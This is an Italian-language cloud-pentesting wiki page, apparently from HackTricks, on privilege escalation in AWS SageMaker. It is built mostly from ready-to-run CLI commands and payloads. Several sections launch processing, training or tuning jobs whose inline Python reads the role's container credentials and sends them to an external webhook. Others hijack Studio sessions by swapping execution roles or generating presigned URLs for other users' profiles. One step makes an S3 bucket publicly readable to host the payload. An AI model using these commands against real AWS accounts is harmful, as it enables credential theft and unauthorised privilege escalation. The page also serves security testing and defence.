# AWS - Sagemaker Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## AWS - Sagemaker Privesc

### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`

Inizia a creare un notebook con l'IAM Role assegnato per l'accesso:
```bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
```
La risposta dovrebbe contenere un campo `NotebookInstanceArn`, che conterrà l'ARN della nuova istanza notebook creata. Possiamo quindi usare l'API `create-presigned-notebook-instance-url` per generare un URL che potremo usare per accedere all'istanza notebook una volta che sarà pronta:
```bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
Navigare all'URL con il browser e cliccare su `Open JupyterLab` in alto a destra, poi scorrere verso il basso alla scheda “Launcher” e, nella sezione “Other”, cliccare sul pulsante “Terminal”.

Ora è possibile accedere alle credenziali metadata del ruolo IAM.

**Impatto potenziale:** Privesc al ruolo di servizio sagemaker specificato.

### `sagemaker:CreatePresignedNotebookInstanceUrl`

Se ci sono Jupyter **notebooks già in esecuzione** su di esso e puoi elencarli con `sagemaker:ListNotebookInstances` (o scoprirli in qualsiasi altro modo). Puoi **generare un URL per essi, accedervi e rubare le credenziali come indicato nella tecnica precedente**.
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
**Potential Impact:** Privesc al ruolo di servizio sagemaker associato.


## `sagemaker:CreatePresignedDomainUrl`

> [!WARNING]
> Questo attacco funziona solo sui domini tradizionali più vecchi di SageMaker Studio, non su quelli creati da SageMaker Unified Studio. I domini provenienti da Unified Studio restituiranno l'errore: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".

Un'entità con il permesso di chiamare `sagemaker:CreatePresignedDomainUrl` su un `UserProfile` target dello Studio può generare un URL di accesso che autentica direttamente in SageMaker Studio come quel profilo. Questo concede al browser dell'attaccante una sessione Studio che eredita i permessi del `ExecutionRole` del profilo e l'accesso completo alla home e alle app del profilo su EFS. Non è richiesto `iam:PassRole` né l'accesso alla console.

**Requisiti**:
- Un SageMaker Studio `Domain` e un `UserProfile` di destinazione al suo interno.
- Il principal dell'attaccante necessita di `sagemaker:CreatePresignedDomainUrl` sul `UserProfile` di destinazione (a livello di risorsa) o su `*`.

Esempio di policy minimale (limitata a un singolo UserProfile):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
```
**Passaggi di abuso**:

1) Enumerare un Studio Domain e gli UserProfiles che puoi prendere di mira
```bash
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
```
2) Verificare se unified studio non viene utilizzato (attack funziona solo sui domini tradizionali di SageMaker Studio)
```bash
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
```
3) Genera una presigned URL (valida ~5 minuti per impostazione predefinita)
```bash
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
```
4) Apri l'URL restituito in un browser per accedere a Studio come utente target. In un terminale Jupyter all'interno di Studio verifica l'identità effettiva o esfiltra il token:
```bash
aws sts get-caller-identity
```
Note:
- `--landing-uri` può essere omesso. Alcuni valori (es., `app:JupyterLab:/lab`) possono essere rifiutati a seconda della variante/versione di Studio; i valori predefiniti di solito reindirizzano alla home di Studio e poi a Jupyter.
- Le policy dell'organizzazione/ le restrizioni sugli endpoint VPC possono comunque bloccare l'accesso di rete; la creazione del token non richiede l'accesso alla console né `iam:PassRole`.

**Impatto potenziale**: Lateral movement and privilege escalation assumendo qualsiasi Studio `UserProfile` il cui ARN sia consentito, ereditandone l'`ExecutionRole` e il filesystem/le app.


### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`

Un'identità con il permesso di chiamare `sagemaker:CreatePresignedMlflowTrackingServerUrl` (e `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` per l'accesso successivo) per un target SageMaker MLflow Tracking Server può generare un URL presigned monouso che autentica direttamente all'interfaccia MLflow gestita per quel server. Questo concede lo stesso accesso che un utente legittimo avrebbe al server (visualizzare/creare experiments e run, e scaricare/caricare artifact nello S3 artifact store del server).

**Requisiti:**
- Un SageMaker MLflow Tracking Server nell'account/regione e il suo nome.
- Il principal attaccante necessita di `sagemaker:CreatePresignedMlflowTrackingServerUrl` sulla risorsa target MLflow Tracking Server (o `*`).

**Passaggi di abuso**:

1) Enumerare i MLflow Tracking Server a cui puoi mirare e scegliere un nome
```bash
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
```
2) Generare un presigned MLflow UI URL (valido per un breve periodo)
```bash
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
```
3) Apri l'URL restituito in un browser per accedere alla MLflow UI come utente autenticato per quel Tracking Server.

**Potential Impact:** Accesso diretto alla MLflow UI gestita per il Tracking Server target, permettendo la visualizzazione e la modifica di experiments/runs e il recupero o il caricamento di artifact memorizzati nello S3 artifact store configurato dal server, nei limiti dei permessi imposti dalla configurazione del server.


### `sagemaker:CreateProcessingJob`, `iam:PassRole`

Un attacker con tali permessi può far sì che **SageMaker esegua un processing job** con un ruolo SageMaker associato. Riutilizzando uno degli AWS Deep Learning Containers che già include Python (e eseguendo il job nella stessa regione dell'URI), puoi eseguire codice inline senza costruire immagini proprie:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'

aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN

# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
```
**Impatto potenziale:** Privesc al ruolo di servizio sagemaker specificato.

### `sagemaker:CreateTrainingJob`, `iam:PassRole`

Un attacker con quei permessi può avviare un training job che esegue codice arbitrario con il ruolo indicato. Usando un container ufficiale di SageMaker e sovrascrivendo l'entrypoint con un payload inline, non è necessario costruire immagini proprie:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.

aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"

# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
```
**Impatto potenziale:** Privesc al ruolo di servizio SageMaker specificato.

### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

Un attaccante con queste autorizzazioni può avviare un HyperParameter Tuning Job che esegue codice controllato dall'attaccante con il ruolo fornito. Script mode richiede che il payload sia ospitato in S3, ma tutti i passaggi possono essere automatizzati dalla CLI:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION

# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'

aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"

cat <<'EOF' > /tmp/train.py
import os, time, urllib.request

def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)

if __name__ == "__main__":
main()
EOF

cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read

echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read

IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.

cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF

aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json
```
Ogni addestramento avviato dal processo stampa la metrica ed esfiltra le credenziali del ruolo indicato.


### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)

Con il permesso di aggiornare un SageMaker Studio User Profile, creare un'app, una presigned URL per l'app e `iam:PassRole`, un attacker può impostare l'`ExecutionRole` su qualsiasi IAM role che il SageMaker service principal può assumere. Le nuove app di Studio avviate per quel profilo verranno eseguite con il ruolo scambiato, fornendo permessi elevati e interattivi tramite terminali Jupyter o job avviati da Studio.

> [!WARNING]
> Questo attacco richiede che non ci siano applicazioni nel profilo oppure la creazione dell'app fallirà con un errore simile a: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
> Se è presente qualsiasi app, avrai bisogno del permesso `sagemaker:DeleteApp` per eliminarle prima.

Passaggi:
```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>


# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

```
**Impatto potenziale**: Privilege escalation ai permessi del ruolo di esecuzione SageMaker specificato per sessioni interattive di Studio.

### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)

Con i permessi per aggiornare un SageMaker Studio Domain, creare un'app, un presigned URL per l'app e `iam:PassRole`, un attacker può impostare l'`ExecutionRole` predefinito del domain su qualsiasi IAM role che il SageMaker service principal può assumere. Le nuove app Studio avviate per quel profilo verranno eseguite con il ruolo scambiato, concedendo permessi elevati interattivi tramite terminali Jupyter o job avviati da Studio.

> [!WARNING]
> Questo attack richiede che non ci siano applicazioni nel domain o la creazione dell'app fallirà con l'errore: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.`

Passaggi:
```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated

# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)
```
**Potential Impact**: Privilege escalation ai permessi del `ExecutionRole` specificato per le sessioni interattive di Studio.

### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`

Un attacker con il permesso di creare un'app SageMaker Studio per un target UserProfile può lanciare un'app JupyterServer che viene eseguita con il `ExecutionRole` del profilo. Questo fornisce accesso interattivo ai permessi del ruolo tramite Jupyter terminals o job avviati da Studio.

Passaggi:
```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc

# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
```
**Potential Impact**: Accesso interattivo al ruolo di esecuzione SageMaker associato al UserProfile di destinazione.


### `iam:GetUser`, `datazone:CreateUserProfile`

Un attacker con tali permessi può concedere a un IAM user l'accesso a un Sagemaker Unified Studio Domain creando un DataZone User Profile per quell'utente.
```bash
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json

# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER
```
L'URL del Unified Domain ha il seguente formato: `https://<domain-id>.sagemaker.<region>.on.aws/` (es. `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`).

**Impatto potenziale:** Accesso al Sagemaker Unified Studio Domain come utente, con possibilità di accedere a tutte le risorse all'interno del dominio Sagemaker e persino di scalare i privilegi al ruolo utilizzato dai notebook presenti nel Sagemaker Unified Studio Domain.

## Riferimenti

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)


{{#include ../../../../banners/hacktricks-training.md}}
